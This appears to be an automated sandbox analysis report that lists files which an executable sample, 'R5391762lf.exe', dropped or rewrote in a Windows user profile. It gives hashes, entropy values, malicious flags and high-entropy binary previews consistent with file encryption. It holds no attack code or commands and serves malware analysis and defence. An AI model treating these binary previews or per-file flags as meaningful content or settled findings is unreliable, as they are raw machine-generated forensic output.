Preview:	mozXD.....=Fb.[f-...~..K..,.A.p......3..#A.../..T+..KtT....f.L.>.V_......=R.L..cY.~w...uH.$R..Y..."....?31]..<...D(-w\|.{...#4v..0....vs.....~....1.W.^n.9d..G.ob...P..d.F>~.,.0",u.....3...k\6L....Mx..w._...5..c...K0..%..[.c..T..&...rfy.K.`.....Le......B........I...XOu..jd\|.sh.I....k..G..&.zgn.dD[...Q....O....CF..[_j..{>.....C....X.e.0..'2^b7A...'cA..9...$i.v.\|K..FR.l.../_.]...F.Ri.....5.A...li.g........g.C3....?f..r1.H >....9...<..."../Y3U..b]..>_..2.`..y..Ear...R...X...!$.._BH0..]PyC..9.h...`rV..Z.....U'...s.].X..~U#....6...)6.....g..Gf.~.b5G.....`..c....4./..y../g.7N..........ud...[.(c.i..........(p.6B.I..P....@c.s....nT>'z.a..z..3.2..?.46..h..Z...N...:Ai}....@.....Q.@g..v...-..l..?..\..s.+.!(........A&$.("..i.X.6.R..GG6.....EQ>.....0.Y.m.ya.~lX!..HNl..'.!.3/....E..;.P.7.lo5=A.p.A....a.g.1.!u.`...h......<.<...?v>.6.S...vavp:....'......a....S......r..d}l.X...D;_G].q.......?.7...i.N<E..H..c......ggY.]..8.q.4.E....._.B'H...rw&.m..!B.t...u....

C:\Users\jones\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\startupCache\startupCache.8.little

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	2620287
Entropy (8bit):	6.998707793322669
Encrypted:	false
SSDEEP:	24576:XN33Kmp3WVEY2M9Ooj6HoMllbQkvFLqLhjYOC5QSbs9fmadKzz/we3qR3omqfkXz:XQm1KoM99IrJxEhfSI9CyYlNjcHu/EkM
MD5:	126B58BB8E5945C14E45EA51CA932BA1
SHA1:	8F1A483B5C2AABCD2EA51304E90789F658A55796
SHA-256:	F68F783BC8D4DC6F25B96A7104889B466D07AF6186FED8D28B818E5375FB6C0B
SHA-512:	5D73C7854265A919F9130911691D84F6085578408438DEDA006FCB29F732310C9E86C155016BABEC075CCB18F97E4E1DB6184F38BDF600E4F275BEDA8A9C3A25
Malicious:	false
Preview:	start...EO..l.. mysv...j...3.......}U.<.........p..@t.W.j...lJ.4....$l...K..H...ch.Gl.;......5.y...[.@..].v.T..Z.Z..f.E\|7..............@.q.W.L..E.th$...D...w..MH..G.X.;..tS...X.E...%...r`..,_..=...../....2.l.x..d.UD.....c:.#E<....8\|..[.r.].....].cy...%...2lT2.oP.p.......3...Ot....A7.6...5..y.9KUh!.~.$Y....O.v....A.#...u......r.a...y.T.f...:.\..}...#."..o.)R.S.?d..=r.....c.a^.p..+.N.".s......R<g.XdD.[...gU^...4...5M;......6.F...../B....P~.. ..I@"aS.j.d..=...0M.k.=.. ..2..\|.P.D.......W.S..^^..p.L"...,....q% ...C....R...."."....>.s..L..Bc.g7.=.C`5..W+.6.`..s?&.........N...P.6/w...[......:K.....6N.6..A%.g.7{d.(._.d.O..R3..H.wgS..n..........r8.5..QY-.......ydI.......8...iu.etj...:...U..."l:...V..a.-.Mj...\.......:...T..]....}ZM....Ee.5......`..\|}...3...f.x....]A....a.K[....q_.f..d...$.`..e..D.,@O..v.v.q....l.(@.....U..'..xb.vK.....;5.%.I.p>..^2.@T..i}.gi.S..u`J...^......O.-&..l......J..l...l.`.7.$*A/..............l0.R.(f.BN.Z.3........b

C:\Users\jones\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\startupCache\urlCache-current.bin

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	2983
Entropy (8bit):	7.933736987258029
Encrypted:	false
SSDEEP:	48:PJiYlvNyuE2PgqvdbWjpluwXvFhZUV5BT0bc+XZ0TkdU9zXawsY5xXPscwMB8SkG:PUYVMuE24k61lu8hwBogYdrY5xE88SnJ
MD5:	5CF1D7511AFA8C3816141DF08E7E93F0
SHA1:	63F096E121EF275F0AC9D6845C9C19EE94C35943
SHA-256:	88F31D6C31369CD94537C741AFFD7EC871488852FC7C107267DBCC5D871457CA
SHA-512:	B304C35CCD02DA2C17D5925695966693B2BBE922B163A51A5E5B8BB8F3E72D8BEB9EBDD9CB37B3A9662DC4F4CBDB641CE43B304628CF24B69254716CB04799BF
Malicious:	false
Preview:	mozUR...l..5......a..$..{).e...7.7..}LNK.2.w6...8a...1x..u....M\0..(./.......0Bad7..N>....I...._.Mk(c.qN....r.ziB.......h(..7.6sz.v..R.no..i$.W.(.1l,.....8$.u...4;;$...@..y..>....p......K++.6...@=...d.^.q....CfB..%..p.hs......~.F.w.L..3W.4.N...@.q...."...ka.\|u...{E.x...h....0.he....y.Xa\|h~....`...H..d.O....N....pW..`@.QK.^~....q.H.y.r......"..P...SaAI..j..y..b).l.]....v.!k..w.z.....pq....^.a..x.....$P.......%.Ky.!....99S......4..........;-...24...W..?..B....l]H.....Z. .$>&.....b.~9C...Bd.\.....IN~..=.#...-.i(....;..y'.G...u..a.._C.p.SfB/T..Q....j.. .c.RC.........QVA...h2......f.+........% .....D>......1.a8O.b.f.K...,..y.Re...-.....%..<..;.~nY`Q.9i....!fg..c j....f..sd.l..ZL1.0\..p......e...`a..H.q.....qGV].saX.....(P...xj..]`..[..w......ePdu<I2:H...b.G.@...$.)..>M...u..8....D..!F..C...2Wo......H..T.AMA2X.i.y..d..M7dc*.xpB.......$.+..y..k..D\|.\.T..]cP..nL.[.59..=\..:.C..m@.8.ps.8..wQ..'..Z1....\|.'..\9.........+......-2.?N...g)^.t..bg......v...

C:\Users\jones\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\startupCache\urlCache.bin

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	3739
Entropy (8bit):	7.9486124786456855
Encrypted:	false
SSDEEP:	96:32MEVJ+TDrRdELacofjcZzjLyEuJiAfb56NFkkJ1empQdFuQ:327VJ+THRKLTycZLHuwc5QGkJ3Q
MD5:	F90A1F29487A864D6EA4383249EDD8CE
SHA1:	7F0AC0A79743533B2B21856FCC2CD932D5AAF82C
SHA-256:	C8DC0D1E48D58547405EB50DADA886E2E442015CC4C1C3DAEDC3822CF6517D8F
SHA-512:	58376AF1E9E39B85F5B0F364648DBDA4A93B95DE47EF164D557548909B8B8A1159F674AEC509EE734D0E8FCF55EF9143389DBBBFFC0CD8E9720BE97AAB105FE4
Malicious:	false
Preview:	mozUR.@.A1E.MZ.k0E.<......9@..5.M..l[.kX.t.w.<.".n..}k.5.zn...V<..k.._@......3y.^}. ....{..)kkh.T.q...L?w[S...Z..t...xaDe..IR.i.!_..9#.b......#:.3.....+.......O...~T6..Q.......<.......e....#.\|..!J...z.....bb7......C;.l.N&...&:..M]....Mv6.<[............T1.>o.....tse......v...=.i..Ec..e..M.Y......[...XK....:...n..\.%...k........6N...g.w.)@.U0..nG..........5...w..k...g3.N9..).......'C'@...rM.....k..j..u...^,......4V ...U.CW{uiv..?....J.$'.Y.......T...q1.V.eM\|L].b..s9..m''$..Qt.."jj O...e....d.eZ.....e.A.y. XQ.HN.\...6..\|....<...1..&.e.M.#.n......GYL..%..E..m.....Mmx...>~.n}..6.<v........o<.T.....o.0....{r......RV...T.St...\4...>.).....3H<.@@.6Y;...E...{.5b(Q.........U...b..E....:.....}M.H......s<..m\q!k..y..ow\z.....E/.....6..U.TF..v...K.5...... ....MW..X8.#. F...3......;......'...".Zt.N5.,.}.l f.Z.C^..h./."..r.+(....kFh(v...~r..>...a.O.f.(...)...y.a..0....;..k%....)-......]{$...&Y....]J]=j5.[.t...!#-...v...~..<I.p..X...=p5....zz.

C:\Users\jones\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\startupCache\webext.sc.lz4

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	110692
Entropy (8bit):	7.998346136626896
Encrypted:	true
SSDEEP:	3072:vC5x5e9lMNgUFVWJ1AWdiVg0+ZZX7fDITUDX6KP:x963Fs1APg0+PjQUzBP
MD5:	9C414626022E1FA73AC84BD52D5D8348
SHA1:	39007EB723DF7BA116937F07085BD1736C456A58
SHA-256:	5B2EA7F40325843A7F9C1326E51A174D967BBB4DF2DA1C1A5B6D34DCD5144FF0
SHA-512:	DAF8915A36CC4EC94983D982249B6DDF5F701C7A41261A71E198953A5073D44CCE2978FB01D4090B09C91AE74436FD2F0B7D6D6CB2C57D21677E7D8FFD96E207
Malicious:	true
Preview:	mozJS2LYd...4..!,.:....^..4.^.!.P...W.........D.....@.N\|.]J.F...d..,6(.xS.)..,....;......~..N.pDX.~.....&.i5..[7.j@.=+.+...\|..g/C..E\..Z.Z....LU..I..."....!@..p.....B.........gh.s...........L..E.8q..'S.nG...[u..g8.T)...ML.e..X.x..q.z..(V}9./!%\|..dR...$...sm.................c..........e.h.)..... ..s..j!4g....-vVmr..n.oA.........D..#..Q...Z@.)b.....o{..2>.BR&p."T....m...l......X...B.2...@......{..4c.w.n....iyv..H...Q.H.....A .........K...).@&b.%.r.W.l...~8.." .q$N.mE..+-.?..l+..RA....#vF....E..!4..\U....q..w.j,.O2.]..c@h$:....i..T.,1./.S..L.!P...6...p.UZ....ME.k....Gu.r..n....T.j....V6.....%TUxqx...]..%T....EK.E..E\|$X..P,!!....6e.N...(..H....g)...U..:?..T%...1...ay.V.........o%i^I.J.p.1.......^...##.4A.Z.a;qi}...T>.....l......F..'-.mn.......M.9p.nfU.Dw....B..P7.#....{.,......r....>..&?.....y..7c....o..on!...Yil....)...0.Y....w6_D.\6....m....U..0..X......r^.c.>*Q...}.<...]....i1.3.n...`~...8E.o..2m......h.7..................

C:\Users\jones\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\LocalState\PinnedTiles\26310719480\squaretile.png

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	2727
Entropy (8bit):	7.923795542110366
Encrypted:	false
SSDEEP:	48:eVJukNwApqTpkns1Ctl6XSRCf1as9oizeX8Lu+PF3kojSqgtCA1J0ZTR+xDQXFuQ:efXwHbXSRCf4im8i+6ojsz1aZF+gFuQ
MD5:	1B8D00B718F58AA75E519E1FA16040FA
SHA1:	BC1FBC2B800243843651FD4ADBFA3695537F35A2
SHA-256:	B72903E1AB5FE7B3A4EBCCBFC6844EB4158088B1ED5BE7632589D12CBCC2E9F9
SHA-512:	99122CB5CA69EF63F2E4883B3126674BE18C8FABBCEC54981CA4D416EF168C6FE6870DE2EC49018E6ED0643E05B40316916A9404204C6E8D7410E4030803867F
Malicious:	false
Preview:	.PNG.D..K....U....i....3....<..(...#u}3.5z...\|.0?.3-....:....g.z."..8{.z.%k..\|#!..QjI.D.:...@...R.;......T.6..<.ns.F..B?%Q_u.jHA.B!.......!.5.09..N....@.X}z......"....4.L...O.n.DBdd/.kB=.d..y....;.8.8".kD..f....~..}...iA.-.i....1Q.:X'^.......=....F'.....j_.s6....'..8].f.9kR.....U..Y@..~..J.Y.Q.@....R.R.s...n.....>...U.S.HA.{h...g....k<..m..F.mj.;.;/..Gm..V.B.P.\5n[.......[....c.a ,..$,-A...EQB.....j...1..`.o..6...Ur.0.....s....f.,9"\...H....'..s.;....\|...L.\|3.0w<.G.`~d.&X[...\|.k.....T.c.....?=..jxz"3...?A.3.M>.I......;..........W..U.QO....z+z.T.6D.<.6...e..@.....Y....y..ie.#]\|V._.JJs...G..L':...9..;...u.s......p.......ZG.....N.v...d.yB.6...g.n....D..S.(X..C.....'..E..X.Q..]..K7b..='uN.....J..m..E>s.........t.<...x..S..t....]:..Ab.u....#.\..4.......B.CJ.t....4 ..r%A..10.. ...#...7PMy.7....y...........{..Yn7..8-Ae....=Fh..~......F..J:...r.......[x.....M..`..vx..._A.w...At..>.b.d...R..$.c.E.-{F..f.=f T......2..wr.:.'..#.6..IH..

C:\Users\jones\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\LocalState\PinnedTiles\26310719480\tinytile.png

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1961
Entropy (8bit):	7.900600560656176
Encrypted:	false
SSDEEP:	48:nv0PGTLFG1v4FiNhdtwOP9ZxBIgV1QEY9PoGIXFuED:nv0KJG12iNxwOP9ZUu1QEY9UFuQ
MD5:	995F4ABE385F373EE8AF673EC7C4D20E
SHA1:	EFB5BC78CD3C9DC8DD57853853CE59124DC10852
SHA-256:	D76CD0028380EE37C9EBB0498CF037B0E978E6F805294A100FA0A860E91DC985
SHA-512:	9B646F2EB5046BA5D7D485C19A07C7E85F867223F89F78700E2144DABD19FCE5282CB338135316098FC922405E03FDDDD072A98A369B62657274E0CE4DD6D571
Malicious:	false
Preview:	.PNG.".$_.L......6..7;.Tm..6.Qa..Nj..T.OT.r.p..2 ...T".'..E....e.>.I.....?........j.....S..p..c..T...........K....-K..sE.I..c....%x.6.II..h.....y.......!u.,.QKJ.4.y}K.K.8.`X...aD0c.j.2.D=..S..v...b.r."..Q_K:...`..J.....G.&.1.....X$...........".J.....M....H../......;..,....==..X1..F..z2N-I:.{9.....bd.@..k.../..3...kI..=.p.y..u...I..C.Tnh........v..O....Q.`.<...9+......k...J.:k......f.b...+z&.Fs7.....r...\......\|.[..J....A'.Z...........nnF..............<'P@5....9\\|K?q.*.%..!.c......................w.<..!%.Ur\o.aw(.YEV_.....yM..CT.Q.f....$,..{K.+.O.l7Vo.....gl.......W'."...'...W.. ...=.).q.CV$.+.k......s......?......'.....Q.v.h,..OR.....A..9.....m_......'....^....9.&...s@v..F.........=?1..P.I8.R..Y.[...q...(.....\|LyMQ....[...26./....1.....<.....5+WXD..w......... <.3..C.Q..e.5........c~..^..%..j...B\.....Or..j....#.Kej..P..N.pqI.Uy.W4.`..f0a'.......}-^D.w.t.}../.<.S ..F^.$8."..$..yY4...&T:...(..+@.Nm~ia..6........7l$...r~H..S.BW.y...en

C:\Users\jones\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\LocalState\PinnedTiles\38975140460\squaretile.png

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	2735
Entropy (8bit):	7.9272171014303
Encrypted:	false
SSDEEP:	48:bB3Zf9hVLGsTnMUIA1wdJXPC602A3XbQPyzZHMLEPzmb7DywRLvBYCXFuED:bvfvVLGsbIA1wdzbA8psmewVyoFuQ
MD5:	09ED3931D636DDA05DB7209E51623FA9
SHA1:	C04D81C680CF84D57C611DADD52D96DBE5833C74
SHA-256:	5E9CC442ACA8DEB536AF6445917CFDBC67151F06B98A3ADD443FDB341B9BC8D1
SHA-512:	1DC1F7E062A39FADB4FA0790FED6112ABE48580F9F4B224759A01B90D3A0538278F85D17CE0B17B25751A73C6871CE94F69E38B80725D149676CB02EEEBADF40
Malicious:	false
Preview:	.PNG..,d..=..<.6..W.t..........X.@.....F.UEw.;.u.<..X4.If..#.~V..t...s.~..Z..y......]q...E.........>....z.u....d.XK..tEb.mt....i.@....6...6.....dZ.}.?PXc....1..l...2b.[....:w..M..S.-S1.6r.;..6c}u.k9.....O..........1.D.....\r..y...si...X8..N.^.a.`.aw..........vja..e...W......\.^...P=...'..z.s...@....@.....(^....c(h....!......\...Abkp..P......lDu...1..N...c>]m.m.U.hw..6UM.(.k@..k.>.2Uu.:..x...........[./.~.1p....Q.H1.<x.\r.t.1.4..v.I..+. ...O....<.....r.K..W.;......`.v..A.. /_......i..Ud.F ..d....f;.T..k..i.gd.....z....a.\I...'.... ..\4..%.H.z....Vl..GM.b.w..-....X...'"...,r.W.."^..)...\|./.U....y)....T.b....I...Z.....6...f.....`$...#a"....-h..`.~...0......J...i.&E2..X._L9..Z+.h.E..._.A......(......y9...y...{...OVw.Z.P....H.j..'...GT.xf@..N..M`...(F"..\|oiUe. ...-.T...m.(T.)..Z)erJ.....zMr.n.+....E./Q...D.gBA2.W.....^....e.......!./.........S..\;2.Ik.z....9...c.p..{A.z..!..S%u<.\6..U\......~k.V.f.`...>vj.........t.h.f&..Vy...*%e. .-.T.\|

C:\Users\jones\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\LocalState\PinnedTiles\38975140460\tinytile.png

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1911
Entropy (8bit):	7.8868735195506385
Encrypted:	false
SSDEEP:	48:yhyZOwcZjnpMo7bCeLjxFufY09yqG3zhY0aC7XFuED:+yZOwSp7bCeLjxQW93K0aCTFuQ
MD5:	5B598C43E147A4654B30CAA7B315ADC9
SHA1:	7558971D90AD74087F64D77830F176D74ABC8A0A
SHA-256:	E188718FC794314A86DF0032AF640D2148CBD35EFC455966D9BD7BD21F630526
SHA-512:	5B36DF9567DDD302E1A41CFF20014074D804D48309ABF2EC97BD1B4857A4F54763D3B453DAE3AF4FED3A33D55A6900A2E2CDA799DDE8ABE6369DAD04F4FD2A91
Malicious:	false
Preview:	.PNG..m.O6....Z...//......"..)..S...?e...A..@..1=...,.ln.-jXC2n..;....")........q..&d...g^.f...).t:'n.6bz_%{.L.]..S.d.K...aV......o/.....t.%.[z.......FR+.....0...R........<C6.s...QDGmN...z8...Wum...H....X&....^&l....A.lX.F5W.d.m.o..?3>q.g..JR@....8qb..c...m..sB)9..Nb..W(+..y..=,p.7.sl(g.......;...2k....#.8..,.V..Cki.].qZ...d..O...?:....<.-..L(4......2........a@...Z..Fgt...;A...%].....H...l....9.;.....a6..Y.{.{.....Ng..>.s.........C......c3...\|.e+.Ol]'...y....Ul.]y.......ls-...0.'.._m..r..#9...x6ez...R.N.o..\|...g.O..m.H.....L....$...?=G....+.A[....UM.q..(g..Ue...t..d...i.G..]..F{z.......7...Cc<.?4K.....:.u^o.....s..... .SI6c.Dro.(@q......$.@..[.K....T>.\|.F.1.0.......g..AS.+v.j..j..i..r...Na......C....6...F...C=k.s..R.\;.f.;E8......]`$.......~....d.V.x.6....l..w..E'$.Gi.T.H...u...U8....:..M1......D..P.8.k2. .$...c..9c\.."R...~..F..:.oSmJ..%.J......]{..!..w......N.G....0$. r.Tc.2]....e.:..g.....a.}~.\|:.S.SJ...C.....A.g^

C:\Users\jones\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\LocalState\PinnedTiles\6501008900\squaretile.png

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1887
Entropy (8bit):	7.903702205215553
Encrypted:	false
SSDEEP:	48:7dECaoU/KRY/ZpkQqn6kNasJV//vuboq/XFuED:7K9d/KORpkN6GasP3vafFuQ
MD5:	C199A4FEC8EA2DD8B455865A66D0B8D8
SHA1:	083362B9A75997E3E3FD17EFCB2A2552B0EFF52D
SHA-256:	490E5892934450909BF638D07715EA95C3CB0F53647D027227D63EA222C61A9F
SHA-512:	15C2371D1A8DD98AE639C29204991D7EAABD5C3CBC050185E5901E55A40CC5338F79BB402DCE7A771191559CC3356755FF07636387D6D90DEC200D4842824BBC
Malicious:	false
Preview:	.PNG.....]RBK....R..l..(A.^....6....<.L...........Y.E8....@.;.....l....!F........R.....f.K .?..{.n.u..#.Fu^....\|U.S".`'.T.....!E...Al.......Z..;.@..f=..e.B...,G..)3.2-A...!.O..,8][..jDs.?..wu...A.......=.}2.&..v8....x.:ak.7;.F.K..q..}....7.-...i....<..%+......e.....(o.o0".8.g.......Fs..;..0..\..+.7u..Tu............85.."=Ii..T...7..........(........0.}........V+E.L...[54.U-a.+.."!$.EC.!....0..H...........Tnh........,..%..\|0.'.Z.....D....Y..&f,..6...hb....&C..).7jl.X....Y.....og0...\|'@.C>....^gbr.5[W.eO&=..M.....a..d.M.}."...w{.".4......A....i0...e....-....R.7...}_...%.2+....:.h .8....U.]aE..Jz....L..... /.@....L~...%.rG..g....=.e.BV........r..p..X8z....5...t:+..D7...D).\.L.....&.b..R....m.~..%.......;.....8..cC[#..[.~.M{TA7]bt.....53.%Z......j.;.S;}6.......B...k.B.....8.....{.:..p.........._.FR.....E....`....9..Me:.<.w.x.>.e.......`m ..*. u.'..tG?.Q.5..1{.L....k%.'r....%..b...f.m0C$b&} ..4b....j.D..+....O..DKD..(..j....j..p+;........

C:\Users\jones\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\LocalState\PinnedTiles\6501008900\tinytile.png

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1447
Entropy (8bit):	7.858247452311327
Encrypted:	false
SSDEEP:	24:grUmXUZDZd6A/gAbbxssOzjszbFo7CzxM6sVlZYHne8yn3PXq8uWbD:IUmXU7d6A/g+basOPs67CsV0en3PXFuQ
MD5:	3FE20E73AA096554EE94675BEDE8E6C3
SHA1:	54CD8BC94FCC2B30C84997649B353EFD279B324F
SHA-256:	3F9BC231C595C564C20D47927E7B9C4E08808546ECF107082F1D3F66BCE14B7A
SHA-512:	692FF7B5A220C44ACEA052114AEE5D9C0FF45AD76BE547CAF797526D0FFA035D01A4FA9A487F298547B193DCD0C10E573889BFE95F276CB18EADEB31990C658A
Malicious:	false
Preview:	.PNG..f..C?......[..o(..........X.rm....P..(.z..Q........)]...... ...).s.o@QW.5.._..C]L.J..E..}.....#......K..J.\..y.0....)......H&.......t..b\...^3}r.M}.?3..l.n.....4..H.[xCa.....X+..Nt<.BL..#6.....f$u.`&G6c.!.g..i. ...m....F...gn&.L.j..2.S...K.Ji...?..k0.da.e.Z\|...W....[F.F...'a&J ./f.(....).....U.,RI....5k....e2yJF.f(....:.2.D....e...{K/...OA....&...C..$w..\A<....VT.Y'..3...(.5.@[8Z..x....np....y.HHf.....4...-y..).E5<....x..:.v....v..z ..y...A.j...ifYv..>.,].dE.....S2..U0.Phh...$&...@..z{.....A.xV.>.....Y......=.p.G&..H...5..\|.[$-.........{......b.1.RLQ.e.....j]S.1..3e[......h.3.I_...[X^;L.<.D..9..N.F..)&..}v.i.....4..W......z..o.,.~.........'...f0.Hb....;.{..'..>....JEU.O.wH......$..)..r..h..bws../..x..1.S...4.....a.....e...<....}...0....R..(~Q....;).V..p.Oo.'...E....D.a.u/u.>.Ms.....o".. ........L......Z.5...o)4$$V.RW..,o. mw...U.%.+r.....N...t..4.s{i.k..B .b.=a...)....w.qg.(y.N......Uw.U1..........w..-...........3.6.B

C:\Users\jones\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\LocalState\PinnedTiles\7603651830\squaretile.png

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1783
Entropy (8bit):	7.8712079883972175
Encrypted:	false
SSDEEP:	48:4xOIGLlKawx3+gUoqpudngWr3oEqF9mqYw8CXFuED:4U9lOsgUoqpuzr3DqP9XFuQ
MD5:	9C47EBBC67B5C6F4533DCCD484052A51
SHA1:	DE10FE73909D9A3A5BFFCF9CAE6265044A66CFC0
SHA-256:	919657D635674619166CCC22DD7AD1560B06B976F39F891D834134AC68666024
SHA-512:	3070C509C4F26CDB52484B2248ACD3DAF9D756FC9FF651E7359F902CAE6B2EE7A2091C0980DC1A184545BAFC5063DF65FA1F2B2D06B065EB9681782C9C5E17DE
Malicious:	false
Preview:	.PNG....8.P...K=......Y..+......?....p^yzYU%.kX...T..wuV..1.g1.[...R...`M~......"....b[.M?.!..mU.=C:i.......~h..jW....9Q..N..ttz`...t'...b3.....h....-..Dm.O....W..KI..U...x[%..8.....l/...8W5..]...Z.k-MU.$...U...R.....%.@`...9...'<...H.Z .....1..SS..c).me...\|....#.)36.n.....k.1._.a....1...=&.t.m...K......M..../..3./.\/g./o...8.....L9E..W.....sR,.[...J.....<o.O.........bL.W.D.i....a..z.....#...X;....O='.i'...'..3.&.y0M......K...L"..Nk+..4....U...A.EN}o..r8.,....<.}...8.w...........+..+i...[..id.mc..;..y.}:7..L....8.1z#.8..M....{.....w....d\|..;.....gv....;...kg..}F...a...41..'..X.j.....X..t.sz.i.........Y.m.<A...."C.M..+.E1.kn.)...g..mI@.J....D.4.w]..dN.....dY.Z..H.pP..!D......sv.......hN-..6@....b...u.KH[...4................a..-.8%..&.o...`.6......s...(9...w?<..Q..9- ..V...P.....k..@o..>.7.I...m...H.mJ..{.E.....kT....]./ZS.....t..!..9..i.l..p.rM...]VY.J."1"M.=+...O...iM.5..]...6.)..b.;......].+.}....^......8.}.t..6.\|j...eu.]nx.....5.

C:\Users\jones\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\LocalState\PinnedTiles\7603651830\tinytile.png

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1394
Entropy (8bit):	7.844637454448504
Encrypted:	false
SSDEEP:	24:PP6cRHqOjN/6gFm5/LDUjjiRqhtD+ytvE7dFoq0Z2IR37kl8Os5Xq8uWbD:6MqOj16gFmJD6iRqhtPhUeFR355XFuED
MD5:	AEEBC66C7D2D24FB05EB5C44D49FA596
SHA1:	33F8EB7A8751B4F4D1EC0575379E261407481990
SHA-256:	3DA8BAF269300EF9110D25519390E3273CABF40FE9F872CBB5422AC5D1187696
SHA-512:	9F37EDBD740825F822B48271BE7C22B567AFDEF9472FB80877DB29811BCADB41AC2AB1F5A31C74858E7BD85B1E39743757535C00D82EA913595F4920A0EED4C9
Malicious:	false
Preview:	.PNG.K..:....x.... ..M.p..S..g....m.d..?9)...@a......@.k.p.........R}.{..W.A.....y.X...Fuj6.)'._.t...,y...i.%.g.fL!Wn.3.(g6H..... .>...............A.........9.+......W.oE..,.).\|....ZD..L...L..{.o\|..P.....-.C=.....b.}....hR4...o.:.,.e..H...7[......u..<>?C!....A..Ob..C.6.nE..Gr$.H.:.3L>..?.^g.u........B.k....D....N...?.....r..W.5...B.q.R........).d..F......l+....S.-...I ......S..}.....D.@.........=.e%...B.......x.E.=..B.l.T...".../J...y.j.....%..}.i.0!...-....W.....tN.^l=.h..Z.y..We.....Y..7w.m..\.P..lVf.\|.0Q&..sT....=....t}..\|.&...i.F........5m.5....C.a.s.....4.wb..k.o...d........(....H...u...wQy. ...Q.PO..F..+..+...I.:.#.B.W......2.\NRxv.....G..8%....c4..\_.c..!.q...o.n.D..J.?6.M.....$]h..B..1.X....\y..0......`s..>..p.}Ap.'...i=...j.k .f...&{{F..3%.^s.wQ....s........s[..6$..N.......<<.....p......".uDh.....O;..x..#.h..C...}..........p..PH.2n.....$...YTk.p&..~..b.".,..*.\0..nd.V{..j.i..o(....O.`..LM7n...<../..G..4N.....a..\n.3..&526\J..

C:\Users\jones\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AC\INetCache\DL2P1Z6X\lockup-mslogo-color-78c06e8898[1].png

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	5144
Entropy (8bit):	7.967885186503563
Encrypted:	false
SSDEEP:	96:Qysb5TzruKg5JJ+TYdLesMlOYWfBU7DilMMy8t2d6GZpCugXDoV4BI2SmCrcDITZ:Qvb5aCMdLejl3KBU3s0LpvgDKFmCr+uZ
MD5:	259EC29D759E6550380A8EDABDEAF353
SHA1:	F058BD07FAA4FD24DB9A05B6CEE33E76AB2F0A13
SHA-256:	C54AE9BD592EF227E9CF9F87297379085A66B87C8EF5E6E2157C807B2CC80BB3
SHA-512:	6D8E9580C99507A3D91E0480F2577B197FE7742DD6DBEF54A701028D2CDFA6BE9A6912B5EECCEE3DA8D8F1209C7D0EC8F520CF5AFAF96320446866A624881A3C
Malicious:	false
Preview:	.PNG. ......$.Zc..C.......,..(.V.XH.....az.....'. +.<.........BZ..P.z.y..c..~..........c.l..e..^O.......O.h....?i...(....!\|f...K.....x..3AX..):\z.e..G..$....';..x+g...{.Y4.......RJ..e....&.... .Kg6P....._e..]:............!&..2..j...f..=@Qd@.......cc..,.....0.{Z.j..........)...4.l.....V......=..\>..D.{.b/"..(...r.2k.'....3.t..Cj=.......~.Cp{nAr.).G.z.C.=3........L...1.#........>..5.....72L.....9.S...9)....5.u.}Ho.Z.(9:....J..Xw.w?g].....5...y.]I....[P...o...../q..I\....V....w..8. K..8e...[....zM...()...;.dc... ."......[?)#d.)y.w"..7...[...............q..=.Fv.........z...]GnQ!..h..P@..PkU.e..&..bu...+.4.+....z.(......D..ue.........r.....p....7...!.G<.IU".8.b./..RC..E..!..k...\|6R.`.....V......`W..43..G...g.q..Q..v..d.:.2..q..K._^...\..F...wc....Si..-.S.F...y.W.......7.{.wt.....f.N..7a..K...Kh9.2.?..r.v..O.....-..".&.>...9...a...qwx..'..^...H...V2.i.x.d6...t.>...t,.]0jv......u..-..!..W....3.H...~O.r.R\wpP$..,z.>.1M.P..[..Y.)...M=...H...>c.W.

C:\Users\jones\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AC\INetCache\DL2P1Z6X\pwa-35de8a913e[1].css

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	3075
Entropy (8bit):	7.93884326661613
Encrypted:	false
SSDEEP:	48:rWAe+e6M1QlVWLowjjiUkmHHjZwUQfL5SdfytVsrzb7Q9PYraGdO+CxlhqXFuED:rWAeJgSoQHHJALUBQsfbkPJaO+XFuQ
MD5:	A742EF419D2A41DE13F3B8F180CDC9ED
SHA1:	FD88839C4C84A82B8D7FE514E51242D4DF72B51B
SHA-256:	EE7233021ADBC642BBEFB6D06B5565879EDF9F2F892DBB3D7555560904AD06D8
